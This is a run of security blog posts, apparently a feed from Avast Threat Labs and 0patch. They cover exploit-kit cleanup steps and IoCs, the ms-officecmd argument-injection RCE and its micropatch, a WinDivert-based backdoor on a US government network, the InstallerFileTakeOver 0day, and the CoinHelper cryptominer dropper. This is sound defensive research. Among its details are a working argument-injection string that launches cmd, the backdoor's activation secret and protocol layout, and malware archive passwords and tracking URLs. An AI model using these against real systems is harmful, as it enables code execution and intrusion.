Now, the exploit has successfully elevated privileges and can pass control to the other shellcode, which was designed to load Magniber ransomware. But before it does that, the exploit performs many cleanup actions that are necessary to avoid blue screening later on. It iterates over WNF-related structures using TemporaryNamesList from _EPROCESS.WnfContext and fixes all the _WNF_NAME_INSTANCE structures that got overflown into at the beginning of the exploit. It also attempts to fix the _POOL_HEADER of the overflown _WNF_STATE_DATA chunks. Finally, the exploit gets rid of both read/write primitives by setting _KTHREAD.PreviousMode back to UserMode=1 and using one last NtUpdateWnfStateData syscall to restore the corrupted StateData pointer back to its original value.

Fixups performed on previously corrupted _WNF_NAME_INSTANCE structures

Final Thoughts

If this isn’t the first time you’re hearing about Magnitude, you might have noticed that it often exploits vulnerabilities that were previously weaponized by APT groups, who used them as zero-days in the wild. To name a few recent examples, CVE-2021-31956 was exploited by PuzzleMaker, CVE-2021-26411 was used in a high-profile attack targeting security researchers, CVE-2020-0986 was abused in Operation Powerfall, and CVE-2019-1367 was reported to be exploited in the wild by an undisclosed threat actor (who might be DarkHotel APT according to Qihoo 360). The fact that the attackers behind Magnitude are so successful in reproducing complex exploits with no public PoCs could lead to some suspicion that they have somehow obtained under-the-counter access to private zero-day exploit samples. After all, we don’t know much about the attackers, but we do know that they are skilled exploit developers, and perhaps Magnitude is not their only source of income. But before we jump to any conclusions, we should mention that there are other, more plausible explanations for why they should prioritize vulnerabilities that were once exploited as zero-days. First, APT groups usually know what they are doing[citation needed]. If an APT group decides that a vulnerability is worth exploiting in the wild, that generally means that the vulnerability is reliably weaponizable. In a way, the attackers behind Magnitude could abuse this to let the APT groups do the hard work of selecting high-quality vulnerabilities for them. Second, zero-days in the wild usually attract a lot of research attention, which means that there are often detailed writeups that analyze the vulnerability’s root cause and speculate about how it could get exploited. These writeups make exploit development a lot easier compared to more obscure vulnerabilities which attracted only a limited amount of research.

As we’ve shown in this blog post, both Magnitude and Underminer managed to successfully develop exploit chains for Chromium on Windows. However, none of the exploit chains were particularly successful in terms of the number of exploited victims. So what does this mean for the future of exploit kits? We believe that unless some new, hard-to-patch vulnerability comes up, exploit kits are not something that the average Google Chrome user should have to worry about much. After all, it has to be acknowledged that Google does a great job at patching and reducing the browser’s attack surface. Unfortunately, the same cannot be said for all other Chromium-based browsers. We found that a big portion of those that we protected from Underminer were running Chromium forks that were months (or even years) behind on patching. Because of this, we recommend avoiding Chromium forks that are slow in applying security patches from the upstream. Also note that some Chromium forks might have vulnerabilities in their own custom codebase. But as long as the number of users running the vulnerable forks is relatively low, exploit kit developers will probably not even bother with implementing exploits specific just for them.

Finally, we should also mention that it is not entirely impossible for exploit kits to attack using zero-day or n-day exploits. If that were to happen, the attackers would probably carry out a massive burst of malvertising or watering hole campaigns. In such a scenario, even regular Google Chrome users would be at risk. The damage done by such an attack could be enormous, depending on the reaction time of browser developers, ad networks, security companies, LEAs, and other concerned parties. There are basically three ways that the attackers could get their hands on a zero-day exploit: they could either buy it, discover it themselves, or discover it being used by some other threat actor. Fortunately, using some simple math we can see that the campaign would have to be very successful if the attackers wanted to recover the cost of the zero-day, which is likely to discourage most of them. Regarding n-day exploitation, it all boils down to a race if the attackers can develop a working exploit sooner than a patch gets written and rolled out to the end users. It’s a hard race to win for the attackers, but it has been won before. We know of at least two cases when an n-day exploit working against the latest Google Chrome version was dumped on GitHub (this probably doesn’t need to be written down, but dumping such exploits on GitHub is not a very bright idea). Fortunately, these were just renderer exploits and there were no accompanying sandbox escape exploits (which would be needed for full weaponization). But if it is possible to win the race for one exploit, it’s not unthinkable that an attacker could win it for two exploits at the same time.

Indicators of Compromise (IoCs)

SHA-256 Note
71179e5677cbdfd8ab85507f90d403afb747fba0e2188b15bd70aac3144ae61a CVE-2021-21224 exploit
a7135b92fc8072d0ad9a4d36e81a6b6b78f1528558ef0b19cb51502b50cffe6d CVE-2021-21224 exploit
6c7ae2c24eaeed1cac0a35101498d87c914c262f2e0c2cd9350237929d3e1191 CVE-2021-31956 exploit
8c52d4a8f76e1604911cff7f6618ffaba330324490156a464a8ceaf9b590b40a payload injector
8ff658257649703ee3226c1748bbe9a2d5ab19f9ea640c52fc7d801744299676 payload injector
SHA-256 Note
2ac255e1e7a93e6709de3bbefbc4e7955af44dbc6f977b60618237282b1fb970 CVE-2021-21224 exploit
9552e0819f24deeea876ba3e7d5eff2d215ce0d3e1f043095a6b1db70327a3d2 HiddenBee loader
7a3ba9b9905f3e59e99b107e329980ea1c562a5522f5c8f362340473ebf2ac6d HiddenBee module container
2595f4607fad7be0a36cb328345a18f344be0c89ab2f98d1828d4154d68365f8 amd64/coredll.bin
ed7e6318efa905f71614987942a94df56fd0e17c63d035738daf97895e8182ab amd64/pcs.bin
c2c51aa8317286c79c4d012952015c382420e4d9049914c367d6e72d81185494 CVE-2019-0808 exploit
d88371c41fc25c723b4706719090f5c8b93aad30f762f62f2afcd09dd3089169 CVE-2020-1020 exploit
b201fd9a3622aff0b0d64e829c9d838b5f150a9b20a600e087602b5cdb11e7d3 CVE-2020-1054 exploit

The post Exploit Kits vs. Google Chrome appeared first on Avast Threat Labs.

Micropatching "ms-officecmd" Remote Code Execution (CVE-2021-43905)

23 December 2021 at 16:25


by Mitja Kolsek, the 0patch Team


Update 1/5/2022: Microsoft changed their mind and issued a CVE ID for this vulnerability: CVE-2021-43905. The latest version of LocalBridge also no longer recognizes the ms-officecmd: URI scheme.

Earlier this month, security company Positive Security published a detailed analysis of a critical vulnerability they had discovered in the handling of the "ms-officecmd" URL handler. In short, this vulnerability allowed a remote attacker to execute arbitrary code on user's computer when user visited a malicious web page with a browser or opened a link provided to them in documents or messaging applications.

Positive Security have responsibly reported this bug to Microsoft, who fixed it without assigning it a CVE ID, reportedly because "Changes to websites, downloads through Defender, or through the Store normally do not get a CVE attached in the same way. In this case the fix did not go out through Windows Update.

Having a fix delivered though an alternative mechanism instead of Windows Update is not unprecedented in Windows, but can depend on assumptions that may not always be true. In this case, the fix was delivered through Windows Store - but only if the AppX Deployment Service was running. This service (AppXSVC) is enabled on Windows 10 by default and gets started when needed, but a quick Google search finds many people asking how to disable it, some presumably doing so. In addition, there is no need to have Windows Store working on users' computers in a typical enterprise environment, and in fact Microsoft provides instructions for blocking such access.

The situation is therefore such that a remote code execution vulnerability with no CVE ID assigned and official fix issued may have remained unfixed on an unknown number of computers worldwide. To make things worse, the DLL that was fixed (AppBridge.dll) has no version information, making it hard for anyone to determine whether their computer is vulnerable or not.


No version information for AppBridge.dll


The Vulnerability

The vulnerability is nicely described in Positive Security's blog post, so let's just focus on the crux here: various Windows applications such as Office, Teams or Skype register the "ms-officecmd" URL handler, which makes it possible to launch these applications by simply opening a URL provided in a hyperlink or visiting a web page. This handler parses the entire URL to determine which application is to be launched, and which file it should open.

This filename value in an "ms-officecmd" URL is problematic because it gets passed on to the launched application in form of a command-line argument. An application may, however, happily accept various additional arguments, and the vulnerability in question allows these to be sneaked in through the filename value. Teams, for example, is an Electron-based application and accepts the --gpu-launcher argument that launches any other app - as specified by the attacker.

Consequently, visiting a malicious web page while having Teams installed could launch malware on your computer. Whether you would have to okay a not-too-security-alert-looking dialog or not depended on the browser.

Microsoft's Fix

Microsoft addressed this issue in two places:

  1. When the filename value points to a file (instead of a URL on the web), the new code tries to open such file locally and only continues with launching the application if that succeeds. This blocks maliciously injected arguments because a file that would match the malicious filename would not be present on user's computer and therefore couldn't be opened. (Side note: a malicious file could also be stored on a remote share and actually contain various unusual characters, so we're not entirely sure about the completeness of this approach.)
  2. When the application is launched, the supplied filename value is enclosed in double quotes to force it to be parsed as a single argument.


After this fix was issued, Positive Security researchers found it to be incomplete, still allowing for argument injection with web-based filenames, such as launching Word with the /q argument like this:

"filename": "https://example.com/\" /q"

Those familiar with injection attacks will notice that even if the string is enclosed in double quotes, the double quote that is already in the string will terminate the starting quote and allow for the introduction of another argument. Classic injection attack.

Fortunately, at least Teams won't launch with a web-based URL argument like this but since many Office applications can be launched via "ms-officecmd" URL, the remaining exploitability of this issue can only be assessed with extensive analysis.


Our Micropatch

Our approach at this issue was more classic in terms of preventing injections. We replicated Microsoft's 2nd code change, enclosing the entire filename value in double quotes before it gets sent to ShellExecute, but we also added a check for existence of double quotes in the filename value and flat out refuse to launch the application if any are found. A double quote cannot be part of a Windows file name (it's one of the forbidden characters), and if someone wants to use double quotes in a web-based URL, they should encode them as %22.

Our patch was written for 32-bit and 64-bit AppBridge.dll that was delivered to Windows machines through Windows Store in October 2020. This is the last vulnerable version, and was subsequently replaced with a fixed version in June 2021. Our patch will therefore only get applied if you had Windows Store enabled in October 2020, and disabled it some time before June 2021. We expect some users may have older, or much older, versions of AppBridge.dll installed due to having disabled Windows Store earlier. In absence of AppBridge.dll version information, we can only recommend locally testing your exploitability by copy-pasting the following URL to your web browser on a machine with Microsoft Teams installed, and seeing if a calculator gets launched:

   "LocalProviders.LaunchOfficeAppForResult": {
       "details": {
           "appId": 5,
           "name": "irrelevant",
           "discovered": {
               "command": "irrelevant"
       "filename": "a:/b/ --disable-gpu-sandbox --gpu-launcher=\"C:\\Windows\\System32\\cmd /c calc && \""

Here is a video showing how 0patch prevents the above URL from launching calculator.

Micropatch Availability

This micropatch requires a 0patch PRO or Enterprise license as it cannot be considered a 0day anymore. To determine if it applies to your computer at all, you can install 0patch Agent with a free account and see if the patch appears under relevant patches.

If you're not sure whether you're vulnerable or not, try to locate AppBridge.dll on your computer: it should be in a folder like C:\Program Files\WindowsApps\Microsoft.MicrosoftOfficeHub_[version]_x64__8wekyb3d8bbwe. (Note that the folder is only accessible to admins so running a full disk search as a non-admin user won't work.)

Once you've located the file, contact us at [email protected] and provide the exact file size and modification date of file AppBridge.dll and the name of the folder you found it in. For the record, the vulnerable AppBridge.dll on our test systems was in a folder version 18.2008.12711.0.

We'd like to thank researchers from Positive Security for finding this issue and sharing details, which allowed us to create a micropatch and protect our users. We'd also like to thank Will Dormann for additional analysis of this issue.

To learn more about 0patch, please visit our Help Center.


Avast Finds Backdoor on US Government Commission Network

16 December 2021 at 17:01

We have found a new targeted attack against a small, lesser-known U.S. federal government commission associated with international rights. Despite repeated attempts through multiple channels over the course of months to make them aware of and resolve this issue they would not engage.

After initial communication directly to the affected organization, they would not respond, return communications or provide any information.

The attempts to resolve this issue included repeated direct follow up outreach attempts to the organization. We also used other standard channels for reporting security issues directly to affected organizations and standard channels the United States Government has in place to receive reports like this.

In these conversations and outreach we have received no follow up or information on whether the issues we reported have been resolved and no further information was shared with us.

Because of the lack of discernible action or response, we are now releasing our findings to the community so they can be aware of this threat and take measures to protect their customers and the community. We are not naming the entity affected beyond this description.

Because they would not engage with us, we have limited information about the attack. We are unable to attribute the attack, its impact, or duration. We are only able to describe two files we observed in the attack. In this blog, we are providing our analysis of these two files.

While we have no information on the impact of this attack or the actions taken by the attackers, based on our analysis of the files in question, we believe it’s reasonable to conclude that the attackers were able to intercept and possibly exfiltrate all local network traffic in this organization. This could include information exchanged with other US government agencies and other international governmental and nongovernmental organizations (NGOs) focused on international rights. We also have indications that the attackers could run code of their choosing in the operating system’s context on infected systems, giving them complete control.

Taken altogether, this attack could have given total visibility of the network and complete control of a system and thus could be used as the first step in a multi-stage attack to penetrate this, or other networks more deeply.

Overview of the Two Files Found

The first file masquerades as oci.dll and abuses WinDivert, a legitimate packet capturing utility, to listen to all internet communication. It allows the attacker to download and run any malicious code on the infected system. The main scope of this downloader may be to use priviliged local rights to overcome firewalls and network monitoring.

The second file also masquerades as oci.dll, replacing the first file at a later stage of the attack and is a decryptor very similar to the one described by Trend Labs from Operation red signature. In the following text we present analysis of both of these files, describe the internet protocol used and demonstrate the running of any code on an infected machine.

First file – Downloader

We found this first file disguised as oci.dll (“C:\Windows\System32\oci.dll”) (Oracle Call Interface). It contains a compressed library (let us call it NTlib). This oci.dll exports only one function DllRegisterService. This function checks the MD5 of the hostname and stops if it doesn’t match the one it stores. This gives us two possibilities. Either the attacker knew the hostname of the targeted device in advance or the file was edited as part of the installation to run only on an infected machine to make dynamic analysis harder.

We found two samples of this file:

SHA256 Description
E964E5C8A9DD307EBB5735406E471E89B0AAA760BA13C4DF1DF8939B2C07CB90 has no hash stored and it can run on every PC
C1177C33195863339A17EBD61BA5A009343EDB3F3BDDFC00B45C5464E738E0A1 is exactly the same file but it contains the hash of hostname

Oci.dll then decompresses and loads NTlib and waits for the attacker to send a PE file, which is then executed.

NTlib works as a layer between oci.dll and WinDivert.

The documentation for WinDivert describes it as “a powerful user-mode capture/sniffing/modification/blocking/re-injection package for Windows 7, Windows 8 and Windows 10. WinDivert can be used to implement user-mode packet filters, packet sniffers, firewalls, NAT, VPNs, tunneling applications, etc., without the need to write kernel-mode code.”

NTlib creates a higher level interface for TCP communication by using low-level IP packets oriented functions of WinDivert. The NTLib checks if the input has magic bytes 0x20160303 in a specific position of the structure given as the first argument as some sort of authentication.

Exported functions of NTLib are:

  • NTAccept
  • NTAcceptPWD
  • NTSend
  • NTReceive
  • NTIsClosed
  • NTClose
  • NTGetSrcAddr
  • NTGetDscAddr
  • NTGetPwdPacket

The names of the exported functions are self-explanatory. The only interesting function is  NTAcceptPWD, which gets an activation secret as an argument and sniffs all the incoming TCP communication, searching for communication with that activation secret. It means that the malware itself does not open any port on its own, it uses the ports open by the system or other applications for its communication. The malicious communication is not reinjected to the Windows network stack, therefore the application listening on that port does not receive it and doesn’t even know some traffic to its port is being intercepted.

The oci.dll uses NTlib to find communications with the activation secret CB 57 66 F7 43 6E 22 50 93 81 CA 60 5B 98 68 5C 89 66 F1 6B. While NTlib captures the activation secret, oci.dll responds with Locale (Windows GUID, OEM code page identifier and Thread Locale) and then waits for the encrypted PE file that exports SetNtApiFunctions. If the PE file is correctly decrypted, decompressed and loaded, it calls the newly obtained function SetNtApiFunctions.

The Protocol

As we mentioned before, the communication starts with the attacker sending CB 57 66 F7 43 6E 22 50 93 81 CA 60 5B 98 68 5C 89 66 F1 6B (the activation secret) over TCP to any open port of the infected machine.

The response of the infected machine:

  • Size of the of the message – 24 (value: 28) [4 B]
  • Random encryption key 1 [4 B]
  • Encrypted with Random encryption key 1 and precomputed key:
    • 0 [4 B]
    • ThreadLocale [4 B]
    • OEMCP or 0 [4 B]
    • 0x20160814 (to test correctness of decryption) [4 B] 
    • 0,2,0,64,0,0,0 [each 4 B]

The encryption is xor cipher with precomputed 256 B key:


That is xored with another 4 B key.

After sending the above message the infected machine awaits for a following message with the encrypted PE file mentioned above:

  • Size of the of the message – 24 [4 B]
  • Random Encryption key 2 [4 B]
  • Encrypted  with Random encryption key 2 and precomputed key:
    • 6 (LZO level?) [4 B]
    • 0 [8 B]
    • 0x20160814 [4 B] 
    • 0x20160814 [4 B]
    • Size of the whole message [4 B]
    • Offset (0) [4 B]
    • Length (Size of the whole message) [4 B]
    • Encrypted with key 0x1415CCE and precomputed key:
      • 0 [16 B]
      • Length of decompressed PE file [4 B]
      • 0 [16 B]
      • Length of decompressed PE file [4 B]
      • 0 [16 B]
      • LZO level 6 compressed PE file

With the same encryption as the previous message.

In our research we were unable to obtain the PE file that is part of this attack. In our analysis, we demonstrated the code execution capabilities by using a library with the following function:

In a controlled lab setting, we were able to start the calculator on an infected machine over the network with the following python script (link to GitHub).

Second File – Decryptor

The second file we found also masquerages as oci.dll. This file replaced the first downloader oci.dll and likely represents another, later stage of the same attack. The purpose of this file is to decrypt and run in memory the file “SecurityHealthServer.dll”.

SHA256: 6C6B40A0B03011EEF925B5EB2725E0717CA04738A302935EAA6882A240C2229A

We found that this file is similar to the rcview40u.dll that was involved in Operation Red Signature. rcview40u.dll (bcfacc1ad5686aee3a9d8940e46d32af62f8e1cd1631653795778736b67b6d6e) was signed by a stolen certificate and distributed to specific targets from a hacked update server. It decrypted a file named rcview40.log, that contained 9002 RAT and executed it in memory.

This oci.dll exports same functions as rcview40u.dll:

The new oci.dll decrypts SecurityHealthServer.dll with RC4 and used the string TSMSISRV.dll as the encryption key. This is similar to what we’ve seen with rcview40u.dll which also uses RC4 to decrypt rcview.log with the string kernel32.dll as the encryption key.

Because of the similarities between this oci.dll and rcview40u.dll, we believe it is likely that the attacker had access to the source code of the three year-old rcview40u.dll.  The newer oci.dll has minor changes like starting the decrypted file in a new thread instead of in a function call which is what  rcview40u.dll does. oci.dll was also compiled for x86-64 architecture while rcview40u.dll was only compiled for x86 architecture.


While we only have parts of the attack puzzle, we can see that the attackers against these systems were able to compromise systems on the network in a way that enabled them to run code as the operating system and capture any network traffic travelling to and from the infected system.

We also see evidence that this attack was carried out in at least two stages, as shown by the two different versions of oci.dll we found and analyzed.

The second version of the oci.dll shows several markers in common with rcview40u.dll that was used in Operation Red Signature such that we believe these attackers had access to the source code of the malware used in that attack.

Because the affected organization would not engage we do not have any more factual information about this attack. It is reasonable to presume that some form of data gathering and exfiltration of network traffic happened, but that is informed speculation. Further because this could have given total visibility of the network and complete control of an infected system it is further reasonable speculation that this could be the first step in a multi-stage attack to penetrate this, or other networks more deeply in a classic APT-type operation.

That said, we have no way to know for sure the size and scope of this attack beyond what we’ve seen. The lack of responsiveness is unprecedented and cause for concern. Other government and non-government agencies focused on international rights should use the IoCs we are providing to check their networks to see if they may be impacted by this attack as well.

The post Avast Finds Backdoor on US Government Commission Network appeared first on Avast Threat Labs.

Free Micropatches for the "InstallerFileTakeOver" 0day (CVE-2021-43883)

2 December 2021 at 22:05

by Mitja Kolsek, the 0patch Team


Update 12/21/2021: Microsoft provided an official fix for this issue on December 14, and assigned it CVE-2021-43883. Our associated micropatches thus ceased being free and now require a PRO license.

Wow, this is the third 0day found by the same researcher we're patching in the last two weeks.

Abdelhamid Naceri, a talented security researcher, has been keeping us busy with 0days this year. In January we micropatched a local privilege escalation in Windows Installer they had found (already fixed by Microsoft), and in the last two weeks we fixed an incompletely patched local privilege escalation in User Profile Service and a local privilege escalation in Mobile Device Management Service (still 0days at the time of this writing).

Ten days ago, Abdelhamid tweeted a link to their GitHub repository containing a proof of concept for another unpatched vulnerability in Windows Installer. The vulnerability allows a local non-admin user to overwrite an existing file to which they do not have write access, and then arbitrarily change its content. This can easily be turned into local privilege escalation by overwriting a trusted system executable file with one's own code - as demonstrated by Abdelhamid's POC, which launches a command line window as Local System.

According to Cisco Talos, this vulnerability is being exploited in the wild

Note that this 0day is being referenced by multiple sources as a bypass to CVE-2021-41379, but the researcher who found it claims that is not the case.


The Vulnerability

The vulnerability lies in the way Windows Installer creates a RBF (Rollback File), a file that stores the content of all deleted or modified files during the installation process, so that in case rollback is needed, these files can be restored to their originals. The RBF file is created either in folder C:\Config.msi or in folder C:\Windows\Installer\Config.msi, based on some logic that we admittedly don't fully understand. In any case, should the RBF file be created in folder C:\Windows\Installer\Config.msi *, it later gets moved to a known location in initiating user's Temp folder where the files' permissions are also modified to give the user write access. Abdelhamid noticed that a symbolic link can be created in place of the incoming RBF file, which will result in moving the RBF file from  C:\Windows\Installer\Config.msi to some other user-chosen file on the system. Since Windows Installer is running as Local System, any file writable by Local System can be overwritten and made writable by the local user.

It doesn't take a lot of imagination to see that taking over an executable file that is being used by a privileged process can get one's code executed with such process' privileges. This Twitter thread by Will Dormann provides various options to achieve the same.

* In case the RBF file is created in C:\config.msi, the described file move does not take place, and the exploit can't work. Interestingly, Abdelhamid's 0day we had fixed in January was targeting the other rollback file, RBS or Rollback Script, which - to the contrary - had to be created in C:\Config.msi instead of in C:\Windows\Installer\Config.msi, to be exploitable. Things are weird in the Windows Installer world.

Our Micropatch

Our micropatch targets the RBF file move operation, whereby it checks that the destination path does not contain any junctions or links. If it does, we consider it an exploitation attempt, and the operation is canceled. The original code then "thinks" the file move operation has failed for some reason.

Here is the video of our micropatch in action. Without the micropatch, exploit works and a command line window is launched as Local System; with the micropatch, the code we correct in msi.dll determines that destination path contains a symbolic link, aborts the file move operation and triggers an "Exploit blocked" event.

Micropatch Availability

This micropatch was written for: 

  1. Windows 10 v21H1 (32 & 64 bit) updated with November 2021 Updates
  2. Windows 10 v20H2 (32 & 64 bit) updated with November 2021 Updates
  3. Windows 10 v2004 (32 & 64 bit) updated with November 2021 Updates
  4. Windows 10 v1909 (32 & 64 bit) updated with November 2021 Updates
  5. Windows 10 v1903 (32 & 64 bit) updated with November 2021 Updates
  6. Windows 10 v1809 (32 & 64 bit) updated with May 2021 Updates
  7. Windows 10 v1803 (32 & 64 bit) updated with May 2021 Updates
  8. Windows 10 v1709 (32 & 64 bit) updated with October 2020 Updates 
  9. Windows 7 ESU (32 & 64 bit) updated with November 2021 Updates
  10. Windows Server 2019 updated with November 2021 Updates
  11. Windows Server 2016 updated with November 2021 Updates
  12. Windows Server 2012 R2 updated with November 2021 Updates
  13. Windows Server 2012 updated with November 2021 Updates
  14. Windows Server 2008 R2 ESU (32 & 64 bit) updated with November 2021 Updates
Windows 7 and Server 2008 R2 without ESU (Extended Security Updates), which we have security-adopted, do not appear to be vulnerable.

Note that Abdelhamid's POC also works on Windows 11 and likely Windows Server 2022, but we don't support these Windows versions yet. 
Micropatches for this vulnerability will be free until Microsoft has issued an official fix. If you want to use them, create a free account in 0patch Central, then install and register 0patch Agent from 0patch.com. Everything else will happen automatically. No computer reboots will be needed.

We'd like to thank Abdelhamid Naceri for finding this issue and sharing details, which allowed us to create a micropatch and protect our users.

To learn more about 0patch, please visit our Help Center.

Toss a Coin to your Helper (Part 2 of 2)

1 December 2021 at 14:26

In the first posting of this series, we looked at a clipboard stealer belonging to the MyKings botnet. In this second part of the blog series, we will discuss in detail a very prevalent malware family of AutoIt droppers, that we call CoinHelper, used in a massive coinmining campaign. Since the beginning of 2021, Avast has protected more than 125,000 users worldwide from this threat. CoinHelper is mostly bundled with cracked software installers such as WinRAR and game cheats.

Regarding game cheats, we’ve seen this bundling with some of the most popular and famous games out there including (but not limited to): Extrim and Anxious (Counter-Strike Global Offensive cheats), Cyberpunk 2077 Trainer (Cyberpunk 2077 cheat), PUBG and CoD cheats, and Minecraft. We’ve also found this threat inside a Windows 11 ISO image from unofficial sources (as we indicated on Twitter). We have even seen this threat bundled with clean software such as Logitech drivers for webcams. All in all, we have seen CoinHelper bundled with more than 2,700 different software so far, including games, game cheats, security software, utilities, clean and malware applications alike.

Our research brought us to this because we have seen a spread of these droppers via MyKings’ clipboard stealer payload as well, as described in our previous part of the blog post series. Nevertheless we can’t attribute CoinHelper to MyKings botnet, on the contrary based on the number of different sources of infection, we believe that CoinHelper used MyKings’ clipboard stealer as an additional system of malware delivery.

We have found some mentions of these AutoIt droppers in other blog posts from last year. One of the most notable instances was detailed by Trend Micro, describing a sample of the AutoIt dropper bundled with Zoom communicator (downloaded from an unofficial source) which happened in the early days of the COVID-19 pandemic when millions of new users were flocking to Zoom. Another instance is in a post from Cybereason mentioning a new dropper for XMRig miners.

In this blog post, we analyze the latest version of CoinHelper in detail, discuss the malware campaign, describe all its components as well as research into what applications are most often bundled with the malware and show how the malware spreads. We also outline some of the data harvesting that it performs on infected systems to map the infected victims.

Campaign overview

Since the beginning of 2020, we have seen more than 220,000 attempts to infect our users with CoinHelper, most of them being in Russia (83,000). The second most targeted country is Ukraine with more than 42,000 attacked users.

Map illustrating the targeted countries since the beginning of 2020

Monetary gain

One of the primary goals of CoinHelper is to drop a crypto miner on the infected machine and use the resources (electricity and computing power) of the victim’s computer to generate money for the attackers through mining.

Even though we observed that multiple crypto currencies, including Ethereum or Bitcoin, were mined, there was one particular that stood out – Monero. From the total of 377 crypto wallet addresses we extracted from the malware, 311 of them mined Monero through crypto mining pools. The reasons for criminals to choose Monero are quite obvious. Firstly, this cryptocurrency was created and designed to be private and anonymous. This means that tracing the transactions, owners of the accounts or even amounts of money that were stolen and/or mined can be quite difficult. Secondly, this cryptocurrency has a good value at this time – you can exchange 1 XMR  for ~$240 USD (as of 2021-11-29) 

Even though Monero is designed to be anonymous, thanks to the wrong usage of addresses and the mechanics of how mining pools work, we were able to look more into the Monero mining operation of the malware authors and find out more about how much money they were able to gain.

To ensure more regular income, the miners were configured to use Monero mining pools. Mining pools are often used by miners to create one big and powerful node of computing power that works together to find a suitable hash and collect a reward for it. Because the search for the suitable hash is random, the more guesses you make, the bigger your chance to be successful. In the end, when the pool receives a reward, the money is split between the members of the pool depending on their share of work. Usage of the pools is very convenient for malware authors, specifically because pools work with a limited time. This is helpful for malware authors because it gives them a greater chance to successfully mine cryptocurrency in the limited time they have before their miners are discovered and eradicated.

In total we registered 311 Monero addresses used in the configuration of miners dropped by the AutoIts. These addresses were used in more than 15 different Monero mining pools whereas our data and research confirm that the mining campaign is even bigger and a lot of the addresses were used across multiple pools. After diving more into the data that the pools offer, we are able to confirm that as of 2021-11-29 the authors gained more than 1,216 XMR solely by crypto mining, which translates into over $290,000 USD. 

Apart from the Monero addresses, we also registered 54 Bitcoin addresses and 5 Ethereum addresses. After looking at these addresses we can conclude that these addresses received following amounts of money:

Cryptocurrency Earnings in USD Earnings in cryptocurrency Number of wallets
Monero $292,006.08 1,216.692 [XMR] 311
Bitcoin $46,245.37 0.796 [BTC] 54
Ethereum $1,443.41 0.327 [ETH] 5
Table with monetary gain (data refreshed 2021-11-29)

This makes total monetary gain of this malware 339,694.86 USD as of 2021-11-29. The amounts from the table above are total incomes of the Bitcoin and Ethereum wallets, so we can’t exclude the possibility that some part of money comes from other activities than mining, but we assume that even those activities would be malicious. As can be seen from the data we collected, the major focus of this campaign is on mining Monero, where attackers used ~5 times more wallet addresses and gained ~6 times more money.

Technical analysis

Dropping the payload

Let’s continue straight away where we left off in the previous part. As we learned, the clipboard stealer could swap copy+pasted wallet addresses in the victim’s clipboard, as well as swap other links and information depending on the malware’s configuration. One of these links was https://yadi[.]sk/d/cQrSKI0591KwOg.

After downloading and unpacking the archive (with a password gh2018), a new sample Launcher.exe is dropped (c1a4565052f27a8191676afc9db9bfb79881d0a5111f75f68b35c4da5be1f385). Note that this approach is very specific for the MyKings clipboard stealer and requires user’s interaction. In other, and most common, cases the user obtains a whole bundled installer from the internet, unintentionally executing the AutoIt during the installation of the expected software.

This sample is the first stage of a compiled AutoIt script, a dropper that we call CoinHelper, which provides all necessary persistence, injections, checking for security software along the way, and of course downloading additional malware onto the infected machine.

Although this sample contains almost all of the latest functionality of these AutoIt droppers, it is not the latest version and some of their features are missing. For that reason, we decided to take a newer (but very similar) version of the dropper with a SHA 83a64c598d9a10f3a19eabed41e58f0be407ecbd19bb4c560796a10ec5fccdbf instead and describe thoroughly all of the functionalities in one place.

Overview of the infection chain

Exploring the first stage

Let’s dive into the newer sample. This one is usually downloaded with a name start.exe on users’ machines and holds a Google Chrome icon. Upon a closer look, it is apparent that this is a compiled AutoIt binary.

After extracting the AutoIt script from the sample we can see additional components:

  • asacpiex.dll
  • CL_Debug_Log.txt
  • glue\ChromeSetup.exe

CL_Debug_Log.txt is a clean standalone executable of 7zip and asacpiex.dll is a damaged (modified) 7zip archive carrying the second stage of the malware. Soon, we will fix this archive and look inside as well, but first, let’s focus on the extracted AutoIt script. The last binary from the list above, placed in the glue folder, is one of the many possibilities of the bundled apps inside CoinHelper. In this case, we witness a clean setup installer of the Chrome browser. If you are interested in seeing what other applications are usually bundled with CoinHelper, see Bundled apps overview for details.

Rude welcome

The AutoIt script is actually very readable. Well, perhaps even too much, looking at the vulgarity in the beginning. Note that Region / EndRegion is SciTE text editor’s feature to mark code regions. In this case, however, the script starts with the EndRegion clausule and some well known AutoIt decompilers, such as Exe2Aut (v0.10), struggle very much with this and are unable to decompile the script, effectively displaying just the rude welcome. Note that myAut2Exe (v2.12) for example has no issues with the decompilation.

We can also see here the beginning of the malware’s configuration, first checking for the existence of a mutex QPRZ3bWvXh (function called _singleton), followed by scheduled task configuration. As shown in the code above, the SystemCheck scheduled task presents itself as a Helper.exe application from Microsoft. However, Microsoft doesn’t provide any tool with such a name. The scheduled task is used for executing the malware, persistently.

The modification of the asacpiex.dll archive was done by nulling out the first five bytes of the file which can be easily restored to reflect the usual 7zip archive header: 37 7A BC AF 27. The script is replacing even more bytes, but that is not necessary.

Before we dive into the contents extracted from the archive (a keen eye already spotted that the password is JDQJndnqwdnqw2139dn21n3b312idDQDB), let’s focus on the rest of this script. We will continue with the unpacking of asacpiex.dll in the Exploring the second stage section.

In the code above, we also see that ChromeSetup.exe is placed into the glue folder. This folder (sometimes called differently, e.g. new) contains the original application with which the malware was bundled together. In our analysis we are showing here, this is a clean installer of the Chrome browser that is also executed at this stage to preserve the expected behavior of the whole bundle.

We encountered many different applications bundled with CoinHelper. Research regarding these bundles is provided in a standalone subsection Bundled apps overview.

Mapping the victims

In addition to fixing the damaged archive, executing the second stage, and ensuring persistence, the first stage holds one additional functionality that is quite simple, but effective.

The malware uses public services, such as IP loggers, to aggregate information about victims. The IP loggers are basically URL shorteners that usually provide comprehensive telemetry statistics over the users clicking on the shortened link.

Additionally, as we will see further in this blogpost, the attacker harvests information about victims, focusing on the victim’s OS, amount of RAM installed, the CPU and video card information, as well as the security solutions present on the system. All the collected information is formatted and concatenated to a single string.

This string is then sent to a hardcoded URL address in the form of a user-agent via GET request. In our sample, the hardcoded URL looks like https://2no[.]co/1wbYc7.

Note that URLs such as these are sometimes also used in the second stage of CoinHelper as well. From our dataset, we have found 675 different URLs where the malware sends data.

Because the attackers often use public services without authentication, we can actually peek inside and figure out the figures from their perspective. The bottom line is that they are making a statistical evaluation of their various infection vectors (bundled installers from unofficial software sources, torrents, MyKings botnet, and more) across the infected user base, effectively trying to focus on people with higher-end machines as well as getting to know which regions in the world use what antivirus and/or security solutions.

As an example, we can see information available on one of the many still-active links containing a date and time of the click, IP address (anonymized) and ISP, corresponding geolocation, used web browser and of course, the user-agent string with the harvested data.

Attacker’s view on the infected victims (black squares are anonymized IP addresses)

The attacker also has access to the geographic location of the victims in a map view.

Attacker’s view on the geographic information of the infected victims

